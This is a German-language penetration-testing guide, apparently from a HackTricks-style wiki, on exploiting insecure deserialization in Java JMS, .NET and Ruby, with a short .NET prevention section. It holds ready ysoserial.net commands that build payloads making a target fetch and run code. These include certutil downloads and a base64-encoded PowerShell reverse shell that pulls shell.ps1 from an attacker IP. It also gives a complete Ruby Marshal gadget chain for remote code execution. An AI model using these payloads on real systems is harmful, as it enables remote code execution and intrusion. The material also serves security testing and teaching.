Die Java Message Service (JMS) API ist eine Java message-orientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es handelt sich um eine Implementierung zur Behandlung des Produzenten-Verbraucher-Problems. JMS ist ein Teil der Java Platform, Enterprise Edition (Java EE) und wurde von einer bei Sun Microsystems entwickelten Spezifikation definiert, die jedoch seitdem vom Java Community Process geleitet wird. Es handelt sich um einen Messaging-Standard, der es Anwendungskomponenten auf Basis von Java EE ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Er ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von Wikipedia).

Produkte

Es gibt mehrere Produkte, die diese Middleware zum Senden von Nachrichten verwenden:

Ausnutzung

Also, im Grunde gibt es eine Reihe von Diensten, die JMS auf gefährliche Weise verwenden. Daher, wenn Sie ausreichende Berechtigungen haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, bösartige Objekte serialisiert zu senden, die vom Verbraucher/Abonnenten deserialisiert werden. Das bedeutet, dass in dieser Ausnutzung alle Clients, die diese Nachricht verwenden, infiziert werden.

Sie sollten daran denken, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie immer noch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.

Das Tool JMET wurde erstellt, um diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte serialisiert werden, die bekannte Gadgets verwenden. Diese Exploits funktionieren, wenn der Dienst immer noch anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung vorhanden ist.

Referenzen

.Net

Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie in Java, wo Gadgets ausgenutzt werden, um während der Deserialisierung eines Objekts spezifischen Code auszuführen.

Fingerabdruck

WhiteBox

Der Quellcode sollte auf das Vorhandensein von überprüft werden:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ anhand einer vom Benutzer kontrollierten Variablen zu bestimmen.

BlackBox

Die Suche sollte auf den Base64-codierten String AAEAAAD///// oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ ermöglicht. Dies könnte JSON- oder XML-Strukturen umfassen, die TypeObject oder $type enthalten.

ysoserial.net

In diesem Fall können Sie das Tool ysoserial.net verwenden, um die Deserialisierungs-Exploits zu erstellen. Nachdem Sie das Git-Repository heruntergeladen haben, sollten Sie das Tool z. B. mit Visual Studio kompilieren.

Wenn Sie mehr darüber erfahren möchten, wie ysoserial.net seinen Exploit erstellt, können Sie diese Seite überprüfen, auf der der ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt wird.

Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.

  • --gadget wird verwendet, um den Gadget anzugeben, der missbraucht werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).

  • --formatter, wird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (Sie müssen wissen, welche Bibliothek das Backend verwendet, um die Nutzlast zu deserialisieren, und dieselbe zum Serialisieren verwenden)

  • --output wird verwendet, um anzugeben, ob Sie den Exploit im rohen oder Base64-Format möchten. Beachten Sie, dass ysoserial.net die Nutzlast mit UTF-16LE codiert (die standardmäßige Codierung unter Windows), sodass Sie bei Verwendung des rohen Formats und der Codierung von einer Linux-Konsole aus möglicherweise auf Codierungskompatibilitätsprobleme stoßen, die verhindern, dass der Exploit ordnungsgemäß funktioniert (im HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktionieren wird).

  • --plugin ysoserial.net unterstützt Plugins zum Erstellen von Exploits für spezifische Frameworks wie ViewState

Weitere ysoserial.net-Parameter

  • --minify liefert eine kleinere Nutzlast (falls möglich)

  • --raf -f Json.Net -c "anything" Dies gibt alle Gadgets an, die mit einem bereitgestellten Formatter verwendet werden können (Json.Net in diesem Fall)

  • --sf xml Sie können ein Gadget angeben (-g) und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (Groß-/Kleinschreibung wird nicht beachtet)

Beispiele für ysoserial.net, um Exploits zu erstellen:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net hat auch einen sehr interessanten Parameter, der dabei hilft, besser zu verstehen, wie jeder Exploit funktioniert: --test Wenn Sie diesen Parameter angeben, wird ysoserial.net den Exploit lokal ausführen, damit Sie testen können, ob Ihr Payload korrekt funktioniert. Dieser Parameter ist hilfreich, weil Sie beim Überprüfen des Codes Codeabschnitte wie den folgenden finden werden (aus ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Das bedeutet, dass der Code zum Testen des Exploits serializersHelper.JsonNet_deserialize aufrufen wird.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Der vorherige Code ist anfällig für den erstellten Exploit. Wenn Sie also etwas Ähnliches in einer .Net-Anwendung finden, bedeutet dies wahrscheinlich, dass diese Anwendung auch anfällig ist. Daher ermöglicht uns der --test-Parameter zu verstehen, welche Codeabschnitte anfällig sind für den Deserialisierungs-Exploit, den ysoserial.net erstellen kann.

ViewState

Werfen Sie einen Blick auf diesen POST über wie man versucht, den __ViewState-Parameter von .Net zu exploitieren um beliebigen Code auszuführen. Wenn Sie die Geheimnisse bereits kennen, die von der Opfermaschine verwendet werden, lesen Sie diesen Beitrag, um Code auszuführen.

Prävention

Um die mit der Deserialisierung in .Net verbundenen Risiken zu mindern:

  • Vermeiden Sie es, Datenströme ihre Objekttypen definieren zu lassen. Verwenden Sie DataContractSerializer oder XmlSerializer, wenn möglich.

  • Für JSON.Net setzen Sie TypeNameHandling auf None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Verwenden Sie JavaScriptSerializer nicht mit einem JavaScriptTypeResolver.

  • Beschränken Sie die Typen, die deserialisiert werden können, und verstehen Sie die inhärenten Risiken bei .Net-Typen wie System.IO.FileInfo, die die Eigenschaften von Serverdateien ändern können und möglicherweise zu Denial-of-Service-Angriffen führen.

  • Seien Sie vorsichtig bei Typen mit riskanten Eigenschaften, wie System.ComponentModel.DataAnnotations.ValidationException mit ihrer Value-Eigenschaft, die ausgenutzt werden kann.

  • Kontrollieren Sie die sichere Typinstanziierung, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, was selbst DataContractSerializer oder XmlSerializer angreifbar machen könnte.

  • Implementieren Sie Whitelist-Steuerungen, indem Sie einen benutzerdefinierten SerializationBinder für BinaryFormatter und JSON.Net verwenden.

  • Bleiben Sie über bekannte unsichere Deserialisierungsgadgets in .Net informiert und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.

  • Isolieren Sie potenziell riskanten Code von Code mit Internetzugriff, um bekannte Gadgets wie System.Windows.Data.ObjectDataProvider in WPF-Anwendungen nicht unvertrauten Datenquellen auszusetzen.

Referenzen

Ruby

In Ruby wird die Serialisierung durch zwei Methoden in der marshal-Bibliothek erleichtert. Die erste Methode, bekannt als dump, wird verwendet, um ein Objekt in einen Byte-Stream zu transformieren. Dieser Prozess wird als Serialisierung bezeichnet. Die zweite Methode, load, wird hingegen verwendet, um einen Byte-Stream wieder in ein Objekt zurückzuverwandeln, ein Prozess, der als Deserialisierung bekannt ist.

Zur Sicherung serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), um die Integrität und Authentizität der Daten zu gewährleisten. Der für diesen Zweck verwendete Schlüssel wird an einem von mehreren möglichen Orten gespeichert:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generische Deserialisierung zu RCE-Gadget-Kette (weitere Informationen unter https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Andere RCE-Kette zur Ausnutzung von Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Last updated